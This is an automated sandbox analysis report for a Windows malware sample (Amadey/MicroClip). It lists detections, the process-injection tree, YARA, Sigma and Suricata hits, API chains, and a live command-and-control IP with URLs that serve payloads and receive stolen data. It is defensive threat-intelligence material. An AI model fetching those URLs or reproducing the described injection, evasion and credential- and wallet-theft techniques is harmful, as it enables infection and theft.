Edit tour

Windows Analysis Report
52kYJGCon6.exe

Overview

General Information

Sample name:	52kYJGCon6.exe renamed because original name is a hash value
Original sample name:	f5c5c9d5a779ad7077cca7bef57e94f0.exe
Analysis ID:	1580849
MD5:	f5c5c9d5a779ad7077cca7bef57e94f0
SHA1:	73f95be3fbaa28192d8dfece83f45aec532efff2
SHA256:	3eb81910ba96d4c0564298528d93071947f0c4cb7c880ad4c5c31c49a41531b1
Tags:	Amadeyexeuser-abuse_ch
Infos:

Detection

MicroClip

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Benign windows process drops PE files

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected MicroClip

AI detected suspicious sample

Changes the view of files in windows explorer (hidden files and folders)

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Contains functionality to inject code into remote processes

Contains functionality to inject threads in other processes

Creates a thread in another existing process (thread injection)

Found API chain indicative of debugger detection

Found evasive API chain (may stop execution after checking mutex)

Found hidden mapped module (file has been removed from disk)

Injects a PE file into a foreign processes

Injects code into the Windows Explorer (explorer.exe)

Machine Learning detection for sample

Maps a DLL or memory area into another process

Modifies the context of a thread in another process (thread injection)

Modifies the prolog of user mode functions (user mode inline hooks)

Posts data to a JPG file (protocol mismatch)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Binary contains a suspicious time stamp

Checks if the current process is being debugged

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)

Contains functionality to create an SMB header

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evaded block containing many API calls

Found evasive API chain (may stop execution after checking a module file name)

Found evasive API chain checking for process token information

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

PE file does not import any functions

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Uncommon Svchost Parent Process

Suricata IDS alerts with low severity for network traffic

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

52kYJGCon6.exe (PID: 4288 cmdline: "C:\Users\user\Desktop\52kYJGCon6.exe" MD5: F5C5C9D5A779AD7077CCA7BEF57E94F0)

svchost.exe (PID: 2520 cmdline: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

explorer.exe (PID: 1028 cmdline: C:\Windows\Explorer.EXE MD5: 662F4F92FDE3557E86D110526BB578D5)

8D8EBC2422383023011859.exe (PID: 3228 cmdline: "C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe" MD5: F5C5C9D5A779AD7077CCA7BEF57E94F0)

svchost.exe (PID: 7124 cmdline: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

8D8EBC2422383023011859.exe (PID: 2608 cmdline: "C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe" MD5: F5C5C9D5A779AD7077CCA7BEF57E94F0)

svchost.exe (PID: 1272 cmdline: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

tmp8AEF.exe (PID: 344 cmdline: "C:\Users\user\AppData\Local\Temp\tmp8AEF.exe" MD5: 543FB2FD6424B11D72633914571E016C)

tmp8AEF.exe (PID: 1576 cmdline: "C:\Users\user\AppData\Local\Temp\tmp8AEF.exe" MD5: 543FB2FD6424B11D72633914571E016C)

tmp1946.exe (PID: 2300 cmdline: "C:\Users\user\AppData\Local\Temp\tmp1946.exe" MD5: 1A477A5659D817B01A50F2A80CB1D76E)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\tmp1946.exe	INDICATOR_SUSPICIOUS_ReflectiveLoader	detects Reflective DLL injection artifacts	ditekSHen	0xe8e4f:$s2: ReflectiveLoader@

Memory Dumps

Source	Rule	Description	Author	Strings
00000003.00000002.3352603162.0000000010A50000.00000040.00000001.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_ReflectiveLoader	detects Reflective DLL injection artifacts	ditekSHen	0x392ed:$s2: ReflectiveLoader@
Process Memory Space: explorer.exe PID: 1028	JoeSecurity_MicroClip	Yara detected MicroClip	Joe Security
Process Memory Space: tmp1946.exe PID: 2300	JoeSecurity_MicroClip	Yara detected MicroClip	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
3.3.explorer.exe.caf63f0.4.unpack	INDICATOR_SUSPICIOUS_ReflectiveLoader	detects Reflective DLL injection artifacts	ditekSHen	0x36aed:$s2: ReflectiveLoader@
3.2.explorer.exe.caf63f0.1.raw.unpack	INDICATOR_SUSPICIOUS_ReflectiveLoader	detects Reflective DLL injection artifacts	ditekSHen	0x37eed:$s2: ReflectiveLoader@
3.2.explorer.exe.caf63f0.1.unpack	INDICATOR_SUSPICIOUS_ReflectiveLoader	detects Reflective DLL injection artifacts	ditekSHen	0x36aed:$s2: ReflectiveLoader@
3.2.explorer.exe.8b70535.0.raw.unpack	INDICATOR_SUSPICIOUS_ReflectiveLoader	detects Reflective DLL injection artifacts	ditekSHen	0x37eed:$s2: ReflectiveLoader@
3.3.explorer.exe.caf63f0.3.raw.unpack	INDICATOR_SUSPICIOUS_ReflectiveLoader	detects Reflective DLL injection artifacts	ditekSHen	0x37eed:$s2: ReflectiveLoader@
3.3.explorer.exe.caf63f0.0.unpack	INDICATOR_SUSPICIOUS_ReflectiveLoader	detects Reflective DLL injection artifacts	ditekSHen	0x36aed:$s2: ReflectiveLoader@
3.2.explorer.exe.8b70535.0.unpack	INDICATOR_SUSPICIOUS_ReflectiveLoader	detects Reflective DLL injection artifacts	ditekSHen	0x36aed:$s2: ReflectiveLoader@
3.3.explorer.exe.caf63f0.0.raw.unpack	INDICATOR_SUSPICIOUS_ReflectiveLoader	detects Reflective DLL injection artifacts	ditekSHen	0x37eed:$s2: ReflectiveLoader@
3.2.explorer.exe.10a50000.3.raw.unpack	INDICATOR_SUSPICIOUS_ReflectiveLoader	detects Reflective DLL injection artifacts	ditekSHen	0x392ed:$s2: ReflectiveLoader@
3.3.explorer.exe.caf63f0.3.unpack	INDICATOR_SUSPICIOUS_ReflectiveLoader	detects Reflective DLL injection artifacts	ditekSHen	0x36aed:$s2: ReflectiveLoader@
3.3.explorer.exe.caf63f0.4.raw.unpack	INDICATOR_SUSPICIOUS_ReflectiveLoader	detects Reflective DLL injection artifacts	ditekSHen	0x37eed:$s2: ReflectiveLoader@
3.2.explorer.exe.10a50000.3.unpack	INDICATOR_SUSPICIOUS_ReflectiveLoader	detects Reflective DLL injection artifacts	ditekSHen	0x37eed:$s2: ReflectiveLoader@
11.0.tmp1946.exe.7ff6838c0000.0.unpack	INDICATOR_SUSPICIOUS_ReflectiveLoader	detects Reflective DLL injection artifacts	ditekSHen	0xe8e4f:$s2: ReflectiveLoader@
11.2.tmp1946.exe.7ff6838c0000.0.unpack	INDICATOR_SUSPICIOUS_ReflectiveLoader	detects Reflective DLL injection artifacts	ditekSHen	0xe8e4f:$s2: ReflectiveLoader@
Click to see the 9 entries

Sigma Signatures

System Summary

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\52kYJGCon6.exe, ProcessId: 4288, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Services

Sigma detected: Uncommon Svchost Parent Process

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM, CommandLine: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\52kYJGCon6.exe", ParentImage: C:\Users\user\Desktop\52kYJGCon6.exe, ParentProcessId: 4288, ParentProcessName: 52kYJGCon6.exe, ProcessCommandLine: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM, ProcessId: 2520, ProcessName: svchost.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM, CommandLine: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\52kYJGCon6.exe", ParentImage: C:\Users\user\Desktop\52kYJGCon6.exe, ParentProcessId: 4288, ParentProcessName: 52kYJGCon6.exe, ProcessCommandLine: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM, ProcessId: 2520, ProcessName: svchost.exe

Suricata Signatures

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-26T12:05:06.143606+0100	2019714	2	Potentially Bad Traffic	192.168.2.5	49708	185.81.68.147	80	TCP

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-26T12:05:06.143606+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	49708	185.81.68.147	80	TCP
2024-12-26T12:05:18.248270+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	49716	185.81.68.147	80	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screenshot.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-26T12:05:45.257802+0100	2843856	1	A Network Trojan was detected	192.168.2.5	49808	185.81.68.147	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://185.81.68.147/psw.exe	Avira URL Cloud: Label: phishing
Source: http://185.81.68.147/data.php	Avira URL Cloud: Label: phishing
Source: http://185.81.68.147/gg.php	Avira URL Cloud: Label: phishing
Source: http://185.81.68.147/zx.exe	Avira URL Cloud: Label: phishing
Source: http://185.81.68.147/TT.exe	Avira URL Cloud: Label: malware
Source: http://185.81.68.147/psw.exeDiamotrixGDU1CAMRFRsZKUklCBwfBgYIGDUVCQ4AEw==DiamotrixGDUFBBwXHRscGDUtAg	Avira URL Cloud: Label: phishing
Source: http://185.81.68.147/gg.phptmUP	Avira URL Cloud: Label: phishing
Source: http://185.81.68.147/gg.phpdb	Avira URL Cloud: Label: phishing
Source: http://185.81.68.147/gg.phpReflectiveLoader	Avira URL Cloud: Label: phishing

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	ReversingLabs: Detection: 52%
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	ReversingLabs: Detection: 26%
Source: C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe	ReversingLabs: Detection: 65%

Multi AV Scanner detection for submitted file

Source: 52kYJGCon6.exe	ReversingLabs: Detection: 65%
Source: 52kYJGCon6.exe	Virustotal: Detection: 46%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 98.7% probability

Machine Learning detection for sample

Source: 52kYJGCon6.exe

Joe Sandbox ML: detected

Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF6839323F0 CertGetNameStringA,CertFindExtension,CryptDecodeObjectEx,	11_2_00007FF6839323F0
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF68390CC50 CryptAcquireContextA,CryptCreateHash,CryptHashData,CryptGetHashParam,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,	11_2_00007FF68390CC50
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF683938FD0 CryptAcquireContextA,CryptCreateHash,CryptReleaseContext,CryptHashData,CryptGetHashParam,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,	11_2_00007FF683938FD0
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF683938F40 CryptGetHashParam,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,	11_2_00007FF683938F40
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF683938EC0 CryptAcquireContextA,CryptCreateHash,CryptReleaseContext,	11_2_00007FF683938EC0
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF683937660 CryptGetHashParam,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,	11_2_00007FF683937660
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF683937650 CryptHashData,	11_2_00007FF683937650
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF6839375D0 CryptAcquireContextA,CryptCreateHash,CryptReleaseContext,	11_2_00007FF6839375D0
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF683937B50 CryptAcquireContextA,CryptImportKey,CryptReleaseContext,CryptEncrypt,CryptDestroyKey,CryptReleaseContext,	11_2_00007FF683937B50
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF683931AA0 CertGetNameStringA,CertFindExtension,CryptDecodeObjectEx,CertFreeCertificateContext,	11_2_00007FF683931AA0
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF683931EC0 CryptQueryObject,CertAddCertificateContextToStore,CertFreeCertificateContext,GetLastError,GetLastError,	11_2_00007FF683931EC0
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF683939F20 CryptAcquireContextA,CryptCreateHash,CryptReleaseContext,CryptHashData,CryptGetHashParam,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,	11_2_00007FF683939F20

Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: -----BEGIN PUBLIC KEY-----		11_2_00007FF6838E7930
Source: tmp1946.exe	Binary or memory string: -----BEGIN PUBLIC KEY-----

Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe

Code function: mov dword ptr [rbp+04h], 424D53FFh

11_2_00007FF683922B10

Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	File created: C:\Users\user\AppData\Local\A35B7AD252242051504221\File_Grabber\miniwallet.bundle.js.LICENSE.txt			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	File created: C:\Users\user\AppData\Local\A35B7AD252242051504221\File_Grabber\notification_fast.bundle.js.LICENSE.txt			Jump to behavior

Source: 52kYJGCon6.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: api-ms-win-crt-locale-l1-1-0.pdb source: tmp8AEF.exe, 00000006.00000003.2252606142.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-locale-l1-1-0.dll.6.dr
Source:	Binary string: api-ms-win-crt-runtime-l1-1-0.pdb source: tmp8AEF.exe, 00000006.00000003.2252934104.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-runtime-l1-1-0.dll.6.dr
Source:	Binary string: C:\A\21\b\bin\amd64\_lzma.pdbMM source: tmp8AEF.exe, 00000006.00000003.2248074256.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, _lzma.pyd.6.dr
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2d-lb source: tmp1946.exe, 0000000B.00000002.2550280470.000001DEDDCEC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-file-l1-2-0.pdb source: tmp8AEF.exe, 00000006.00000003.2248974675.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-file-l1-2-0.dll.6.dr
Source:	Binary string: C:\A\21\b\bin\amd64\_socket.pdb source: tmp8AEF.exe, 00000006.00000003.2248288112.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ucrtbase.pdb source: tmp8AEF.exe, 00000009.00000002.2286113655.00007FF8B83B5000.00000002.00000001.01000000.00000009.sdmp, ucrtbase.dll.6.dr
Source:	Binary string: api-ms-win-core-memory-l1-1-0.pdb source: tmp8AEF.exe, 00000006.00000003.2249958467.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-memory-l1-1-0.dll.6.dr
Source:	Binary string: api-ms-win-core-debug-l1-1-0.pdb source: tmp8AEF.exe, 00000006.00000003.2248657749.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-debug-l1-1-0.dll.6.dr
Source:	Binary string: C:\A\21\b\bin\amd64\_hashlib.pdb source: tmp8AEF.exe, 00000006.00000003.2247931359.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-sysinfo-l1-1-0.pdb source: tmp8AEF.exe, 00000006.00000003.2251720235.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-sysinfo-l1-1-0.dll.6.dr
Source:	Binary string: api-ms-win-crt-filesystem-l1-1-0.pdb source: tmp8AEF.exe, 00000006.00000003.2252310432.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-stdio-l1-1-0.pdb source: tmp8AEF.exe, 00000006.00000003.2253222483.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-stdio-l1-1-0.dll.6.dr
Source:	Binary string: C:\A\21\b\bin\amd64\_ctypes.pdb source: tmp8AEF.exe, 00000009.00000002.2286471285.00007FF8BFB81000.00000002.00000001.01000000.0000000C.sdmp, _ctypes.pyd.6.dr
Source:	Binary string: api-ms-win-core-heap-l1-1-0.pdb source: tmp8AEF.exe, 00000006.00000003.2249383761.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-heap-l1-1-0.dll.6.dr
Source:	Binary string: api-ms-win-core-util-l1-1-0.pdb source: tmp8AEF.exe, 00000006.00000003.2251941372.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-util-l1-1-0.dll.6.dr
Source:	Binary string: C:\A\21\b\bin\amd64\_bz2.pdb source: tmp8AEF.exe, 00000006.00000003.2247517207.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, _bz2.pyd.6.dr
Source:	Binary string: api-ms-win-core-synch-l1-1-0.pdb source: tmp8AEF.exe, 00000006.00000003.2251543551.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-synch-l1-1-0.dll.6.dr
Source:	Binary string: api-ms-win-crt-environment-l1-1-0.pdb source: tmp8AEF.exe, 00000006.00000003.2252213246.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-environment-l1-1-0.dll.6.dr
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\e1bUzbt source: tmp1946.exe, 0000000B.00000002.2550280470.000001DEDDD54000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-errorhandling-l1-1-0.pdb source: tmp8AEF.exe, 00000006.00000003.2248762279.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: vcruntime140.amd64.pdbGCTL source: tmp8AEF.exe, 00000006.00000003.2247224120.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000009.00000002.2286668785.00007FF8BFB9E000.00000002.00000001.01000000.0000000B.sdmp, VCRUNTIME140.dll.6.dr
Source:	Binary string: api-ms-win-core-processthreads-l1-1-0.pdb source: tmp8AEF.exe, 00000006.00000003.2250274909.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-processthreads-l1-1-0.dll.6.dr
Source:	Binary string: api-ms-win-core-console-l1-1-0.pdb source: tmp8AEF.exe, 00000006.00000003.2248420271.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-console-l1-1-0.dll.6.dr
Source:	Binary string: api-ms-win-core-file-l1-1-0.pdb source: tmp8AEF.exe, 00000006.00000003.2248862487.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-file-l1-1-0.dll.6.dr
Source:	Binary string: api-ms-win-crt-convert-l1-1-0.pdb source: tmp8AEF.exe, 00000006.00000003.2252122918.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-convert-l1-1-0.dll.6.dr
Source:	Binary string: .PdB] source: tmp8AEF.exe.2.dr
Source:	Binary string: C:\A\21\b\bin\amd64\select.pdb source: tmp8AEF.exe, 00000006.00000003.2262428739.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, select.pyd.6.dr
Source:	Binary string: api-ms-win-core-profile-l1-1-0.pdb source: tmp8AEF.exe, 00000006.00000003.2250489173.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-profile-l1-1-0.dll.6.dr
Source:	Binary string: ucrtbase.pdbUGP source: tmp8AEF.exe, 00000009.00000002.2286113655.00007FF8B83B5000.00000002.00000001.01000000.00000009.sdmp, ucrtbase.dll.6.dr
Source:	Binary string: vcruntime140.amd64.pdb source: tmp8AEF.exe, 00000006.00000003.2247224120.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000009.00000002.2286668785.00007FF8BFB9E000.00000002.00000001.01000000.0000000B.sdmp, VCRUNTIME140.dll.6.dr
Source:	Binary string: api-ms-win-crt-time-l1-1-0.pdb source: tmp8AEF.exe, 00000006.00000003.2253847052.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-time-l1-1-0.dll.6.dr
Source:	Binary string: api-ms-win-core-handle-l1-1-0.pdb source: tmp8AEF.exe, 00000006.00000003.2249252254.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-handle-l1-1-0.dll.6.dr
Source:	Binary string: api-ms-win-core-synch-l1-2-0.pdb source: tmp8AEF.exe, 00000006.00000003.2251634380.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-synch-l1-2-0.dll.6.dr
Source:	Binary string: api-ms-win-core-processenvironment-l1-1-0.pdb source: tmp8AEF.exe, 00000006.00000003.2250150623.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-processenvironment-l1-1-0.dll.6.dr
Source:	Binary string: api-ms-win-core-datetime-l1-1-0.pdb source: tmp8AEF.exe, 00000006.00000003.2248544698.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-datetime-l1-1-0.dll.6.dr
Source:	Binary string: api-ms-win-crt-conio-l1-1-0.pdb source: tmp8AEF.exe, 00000006.00000003.2252025674.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\21\b\bin\amd64\python38.pdb source: tmp8AEF.exe, 00000009.00000002.2285358677.00007FF8A8DFD000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: api-ms-win-crt-math-l1-1-0.pdb source: tmp8AEF.exe, 00000006.00000003.2252744243.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-math-l1-1-0.dll.6.dr
Source:	Binary string: api-ms-win-core-localization-l1-2-0.pdb source: tmp8AEF.exe, 00000006.00000003.2249846119.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-localization-l1-2-0.dll.6.dr
Source:	Binary string: C:\A\21\b\bin\amd64\_lzma.pdb source: tmp8AEF.exe, 00000006.00000003.2248074256.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, _lzma.pyd.6.dr
Source:	Binary string: api-ms-win-core-processthreads-l1-1-1.pdb source: tmp8AEF.exe, 00000006.00000003.2250404359.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-processthreads-l1-1-1.dll.6.dr
Source:	Binary string: api-ms-win-core-namedpipe-l1-1-0.pdb source: tmp8AEF.exe, 00000006.00000003.2250054696.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-namedpipe-l1-1-0.dll.6.dr
Source:	Binary string: api-ms-win-crt-utility-l1-1-0.pdb source: tmp8AEF.exe, 00000006.00000003.2255160433.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-utility-l1-1-0.dll.6.dr
Source:	Binary string: api-ms-win-core-rtlsupport-l1-1-0.pdb source: tmp8AEF.exe, 00000006.00000003.2250601167.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-rtlsupport-l1-1-0.dll.6.dr
Source:	Binary string: api-ms-win-core-timezone-l1-1-0.pdb source: tmp8AEF.exe, 00000006.00000003.2251816746.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-string-l1-1-0.pdb source: tmp8AEF.exe, 00000006.00000003.2250735702.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-string-l1-1-0.dll.6.dr
Source:	Binary string: api-ms-win-core-file-l2-1-0.pdb source: tmp8AEF.exe, 00000006.00000003.2249118850.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-file-l2-1-0.dll.6.dr
Source:	Binary string: api-ms-win-crt-process-l1-1-0.pdb source: tmp8AEF.exe, 00000006.00000003.2252826757.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-process-l1-1-0.dll.6.dr
Source:	Binary string: api-ms-win-core-libraryloader-l1-1-0.pdb source: tmp8AEF.exe, 00000006.00000003.2249752086.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-libraryloader-l1-1-0.dll.6.dr
Source:	Binary string: api-ms-win-core-interlocked-l1-1-0.pdb source: tmp8AEF.exe, 00000006.00000003.2249568887.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-interlocked-l1-1-0.dll.6.dr
Source:	Binary string: C:\A\21\b\bin\amd64\unicodedata.pdb source: tmp8AEF.exe, 00000006.00000003.2263553092.0000024B41D49000.00000004.00000020.00020000.00000000.sdmp, unicodedata.pyd.6.dr
Source:	Binary string: api-ms-win-crt-heap-l1-1-0.pdb source: tmp8AEF.exe, 00000006.00000003.2252448737.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-heap-l1-1-0.dll.6.dr
Source:	Binary string: api-ms-win-crt-string-l1-1-0.pdb source: tmp8AEF.exe, 00000006.00000003.2253312352.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 6_2_00007FF7CA7979B0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	6_2_00007FF7CA7979B0
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 6_2_00007FF7CA7985A0 FindFirstFileExW,FindClose,	6_2_00007FF7CA7985A0
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 6_2_00007FF7CA7B0B84 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	6_2_00007FF7CA7B0B84
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF7CA7985A0 FindFirstFileExW,FindClose,	9_2_00007FF7CA7985A0
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF7CA7B0B84 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	9_2_00007FF7CA7B0B84
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF7CA7979B0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	9_2_00007FF7CA7979B0
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF8B837303C FindFirstFileExW,FindNextFileW,FindClose,	9_2_00007FF8B837303C
